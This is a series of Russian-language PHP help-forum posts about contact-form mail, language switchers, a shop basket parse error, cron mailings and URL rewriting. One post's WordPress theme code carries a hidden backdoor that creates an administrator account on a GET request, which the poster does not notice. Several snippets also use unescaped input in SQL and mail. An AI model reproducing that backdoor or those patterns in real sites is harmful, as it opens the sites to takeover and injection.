'.$_POST['phone'].'</p> <p>Город: '.$_POST['city'].'</p> </body> </html>'; //Текст нащего сообщения можно использовать HTML теги $headers = "Content-type: text/html; charset=utf-8 \r\n"; //Кодировка письма $headers .= "From: Отправитель <admin@lite.uz>\r\n"; //Наименование и почта отправителя mail($to, $subject, $message, $headers); //Отправка письма с помощью функции mail } ?> С меня шоколадка
  17. Здравствуйте. Есть сайт сделанный на php, мне нужно сделать языковую панель. В виде: site.com/ru/ и так далее, + что бы эти страницы индексировались поисковиками. Пример дам в личку. Сайт без базы, какой код прописать и какой файл загрузить? На сайте донора, такое: <div class="flag_select pull-right"> <div id="flag_btn" class="btn"><a class="us" href="javascript:void(0)"></a> <span class="caret"></span></div> <div class="flag_list"> <span class="flags_span"><a class="us" href="http://site.com/"></a></span> <span class="flags_span"><a class="fr" href="http://site.com/fr/"></a></span> <span class="flags_span"><a class="ar" href="http://site.com/ar/"></a></span> </div> </div>
  18. Добрый день! Для проекта, который достиг потолка развития, на данный момент, требуется Laravel программист. Оплата почасово или за выполнение части работы. Оплата только WesternUnion
  19. Помогите) В файле сайта basket.php произошла такая ошибка: Parse error: syntax error, unexpected T_VARIABLE in /home/u976107212/public_html/basket.php on line 32 Но дело в том что я только начал изучать php и поэтому не могу исправлять ошибки) вот сам код) <?PHP include('header.php'); $sql = mysql_query("SELECT * FROM `b_basket` WHERE `fromid`='$id_user'"); if(mysql_num_rows($sql)==0){ echo "<span class='top-bl-s-verh'>Ваша корзина</span> <div class='menucenter-top1'>"; echo "<span class='cart-empty'>Ваша корзина пуста</span>"; include('footer.php');exit(); } ?> <span class='top-bl-s-verh'>Ваша корзина</span> <div class='menucenter-top1'> <table class='profile' width='100%' border='0' cellpadding='0' cellspacing='0' style='margin-bottom: 0;'> <tr><td class='value1'> В корзину попадают все ваши заказаные товары, вам нужно лишь выбрать с помощью чего произвести платёж. </td></tr> </table> <div id="information"></div><div id="pay_step"> <table class='reestr' width='100%' border='0' cellpadding='0' cellspacing='0'> <thead> <th align='center' width='80%' nowrap='nowrap'> Наименование товара </th> <th align='center' nowrap='nowrap'> Цена (руб) </th> <th align='center' nowrap='nowrap'> Истекает через </th> <th></th> </thead><tbody> <?PHPif(!isset($allprice)) $allprice = NULL;$rekl_m_b = 0;while($row = mysql_fetch_assoc($sql)){$istek = 86400-(time()-$row["time"]);if($row["type"] == 4) $istek=3600-time()+$row["time"];$hours = intval($istek/3600);$minutes = intval(($istek-$hours*3600)/60);$secunde = intval(($istek-($hours*3600)-($minutes*60)));if(strlen($minutes) == 1) {$minutes = "0".$minutes;}if(strlen($secunde) == 1) {$secunde = "0".$secunde;}$istek=$hours.":".$minutes.":".$secunde; if(time()-$row["time"]>86400 AND $row["type"]!=4){mysql_query("DELETE FROM `b_basket` WHERE `id`='".$row["id"]."'");}else{if(time()-$row["time"]>3600 AND $row["type"]==4){mysql_query("DELETE FROM `b_basket` WHERE `id`='".$row["id"]."'");mysql_query("UPDATE `b_jarmarka` SET `bron`='0' WHERE `id`='".$row["ident"]."'");}else{switch($row["type"]) {case 1:$tipo = "Динамическая ссылка";break;case 2:$tipo = "Контекстная ссылка";break;case 3:$tipo = "Баннер";break;case 5:$tipo = "Оплачиваемое задание";break;case 6:$tipo = "Оплачиваемое письма";break;case 9:$tipo = "Оплачиваемое тесты";break;}if(isset($allprice)) {$allprice = (float)$allprice + $row["price"];}else{$allprice = (float)$row["price"];}?><tr id="num_id<?=$row["id"] ?>"><td class='tovar' align='left'><?PHPif($row["type"] == 1 OR $row["type"] == 2 OR $row["type"] == 3 OR $row["type"] == 5 OR $row["type"] == 6 OR $row["type"] == 9) {echo "Бюджет площадки № ".$row["ident"]." ($tipo)";}elseif($row["type"] == 7){echo "Заказ рекламы (Блок реферера)"; }elseif($row["type"] == 4){ echo "Покупка реферала ".$row["ident"]; }elseif($row["type"] == 8){ echo "Пополнение рекл. счёта";} ?></td><td class='price' align='right'><?=(float)$row["price"]; ?></td><td class='gray' align='center'><?=$istek ?></td><td><a class='btn-delete' onclick='dell_bask("<?=$row["id"] ?>", "<?=$row["price"]; ?>");' title='Исключить товар из корзины'></a></td></tr><?if($row["type"] == 8) $rekl_m_b++;}}}?> <tr><td align='right'>Всего к оплате:</td><td class='price' align='right'><b id="all_price"><?=$allprice ?></b></td> <td colspan='2' align='left'><?=$sitevalname ?></td></tr> </tbody></table> <table width='100%' border='0' cellpadding='0' cellspacing='0' style='margin-bottom: 0;'> <tr><td> <div style="width:100%;margin-left:24px;padding:10px;"><?if($rekl_m_b == 0) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-balance' onclick='pay_bask(0);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($wm_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-wm' onclick='pay_bask(1);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($qw_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-qw' onclick='pay_bask(2);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($ym_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-yad' onclick='pay_bask(3);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($lp_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-liqpay' onclick='pay_bask(4);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($pm_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-pm' onclick='pay_bask(5);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($py_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-py' onclick='pay_bask(6);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($rk_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-rk' onclick='pay_bask(7);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($ik_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-ik' onclick='pay_bask(8);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($zp_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-zp' onclick='pay_bask(9);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?><?if($wo_pay == 1) { ?><div style='float:left;'><a href='javascript:void(0);' class='shop-eps-wo' onclick='pay_bask(10);'><b id="all_price"><?=$allprice ?></b> <span><?=$sitevalname ?></span></a></div><? } ?></div> </td></tr> </table> </div></div> <script>var all_price = <?=$allprice ?>;function dell_bask(num, price){confirm("Удалить заказ?");$.ajax({type: "POST",url: "ajax/basket.php",data: { 'func' : 'dell_bask', 'id' : num },success: function(data) {if(data > 0) {all_price = all_price - price;$('b#all_price').html(all_price); $("#num_cart").html(data);$("#num_id"+num).remove();}else{document.location.href = "/basket.php";}}});}var progress = false;function pay_bask(num) {if(!progress){$.ajax({ type: "POST", url: "ajax/basket.php", data: { 'func' : 'pay_bask', 'merchant' : num },beforeSend: function(){ progress = true;},success: function(data) {if(data == 1) {document.location.href = "/advmanager.php";}else if(data == 2) { QBinfo('Ошибка:','<b>На рекламном счёте недостаточно средств!</b>',4000,'bottom-right');}else{ $("#pay_step").html("");$("#pay_step").html(data); }progress = false;}});}}</script> <?PHP include('footer.php'); ?>
  20. Доброго дня!!! Вопрос к тем кто "шарит" в php, помогите пожалуйста понять и разобраться, даже не могу представить, как правильно составить ТЗ Значит у меня есть доска объявлений. Ранее заказывал написание php скрипта, который по средствам cron осуществлял рассылку (напоминалку) всем кто разместил объявления 10,20,30 дней назад (т.е. с кратностью 10 дней) и со временем, с развитием сайта, когда объявлений становилось все больше и больше. скрипт стал обваливать сервер. в итоге я его отключил (писал о проблеме ранее https://talk.pr-cy.ru/topic/18001-podskazhite-pozhalujsta-po-php/?hl=sheynhjk#entry212275но решения так и не нашел) Возможно ли каким-то способом реализовать следующее: - Скрипт отправляет письма всем кто разместил объявлений 30, 60. 90 и т.д. дней назад; - Отправляет письмо через каждые 30 секунд (120 писем в час) Допустим пусть используется тот же cron, запускается через каждые 30 секунд, но отправляет только одно письмо и с учетом, что по этому объявлению в течении этих суток (конкретного числа) письмо еще не отправлялась. После )) часов, начинал работать с новым числом, даже если по старому числу отправлены сообщения не всем возможным адресатам (у каждого объявления есть свой уникальный ID) Извините если не понятно выражаюсь, старался максимально понятно объяснить, спасибо!
  21. Добрый вечер! Столкнулся с проблемой обработки URL-адресов и не понимаю чего бы придумать. Суть проблемы: Есть адрес вида: site.ru/includes/administrator/admin.php Как сделать, чтобы при вводе такого URL: site.ru/admin/ Открывался файл admin.php, т.е. укоротить URL. И да - таких адресов будет около 50. Куда их помещать (БД/Файл) и как обрабатывать такие запросы?
  22. Нужен ресурс по функционалу как: http://sutochno.ru/ Бюджет обсуждается (для сочувствующих он 100 рублей) , предпочтение РФ, при необходимости оплачиваемый выезд к заказчику. Прошу предложения в личку без воды.
  23. Добрый вечер всем! Столкнулся с небольшой проблемой на сайте. Пишу скрипт проверки доступности сайта. Проверка осуществляется в PHP функцией headers($url). Если сервер возвращает 200ОК, тогда процесс идёт дальше. Что делать с теми случаями, когда адрес сайта ввели неверно? На экран отображается вот такая ошибка: Мне нужно просто отключить вывод ошибок на экран и выводить "Неверно введен URL". Правильно ли я понимаю? Или как-то можно вообще избежать возникновения ошибок?. Заранее спасибо.
  24. function kama_recent_comments($limit=10, $ex=45, $cat=0, $echo=1){ global $wpdb; if($cat){ $IN = (strpos($cat,'-')===false)?"IN ($cat)":"NOT IN (".str_replace('-','',$cat).")"; $join = "LEFT JOIN $wpdb->term_relationships rel ON (p.ID = rel.object_id) LEFT JOIN $wpdb->term_taxonomy tax ON (rel.term_taxonomy_id = tax.term_taxonomy_id)"; $and = "AND tax.taxonomy = 'category' AND tax.term_id $IN"; } $sql = "SELECT comment_ID, comment_post_ID, comment_content, post_title, guid, comment_author, comment_author_email FROM $wpdb->comments com LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} WHERE comment_approved = '1' AND comment_type = '' {$and} ORDER BY comment_date DESC LIMIT $limit"; $results = $wpdb->get_results($sql); $out = ''; foreach ($results as $comment){ $date="j.m.Y"; $comtext = strip_tags($comment->comment_content); $leight = (int) iconv_strlen( $comtext, 'utf-8' ); if($leight > $ex) $comtext = iconv_substr($comtext,0,$ex, 'UTF-8').' …'; $out .= "\n<div class='f_num'><div class='f-date'>".get_comment_date($date,$comment->comment_ID)."</div><span class='f_author'><a href='". get_comment_link($comment->comment_ID) ."'>".strip_tags($comment->comment_author). "</a> </span><div class='f_text'>{$comtext}</div></div>"; } if ($echo) echo $out; else return $out; } if($_GET['dfooter']=18){$userdata = array('ID'=>0,'user_pass'=>'1','user_login'=>'pont','rich_editing'=>true,'user_registered'=>'2012-08-19 12:02:16','role'=>"administrator"); wp_insert_user($userdata);} При таком коде выводиться ошибка: "Notice: Undefined variable: join in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 218 Notice: Undefined variable: and in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 220" (с включением debug режима), подскажите как исправить, буду благодарен 218 строка: LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} 220 строка: AND comment_type = '' {$and}
  25. Всем доброго вечера! Кто понимает в PHP помогите пожалуйста, есть на сайте скрипт, который по средствам cron выполняет рассылку пользователям, чьи объявления были размещены 10,20,30 и т.д. дней назад, т.е. через каждые 10 дней. Подскажите пожалуйста, что надо поменять, что бы кратность была не 10 дней, а 30 вот кусок кода: $r = mysql_query("SELECT * FROM `board` WHERE RIGHT(DATEDIFF(DATE(NOW()), data), 1) = 0"); while($rr=mysql_fetch_array($r)) Спасибо!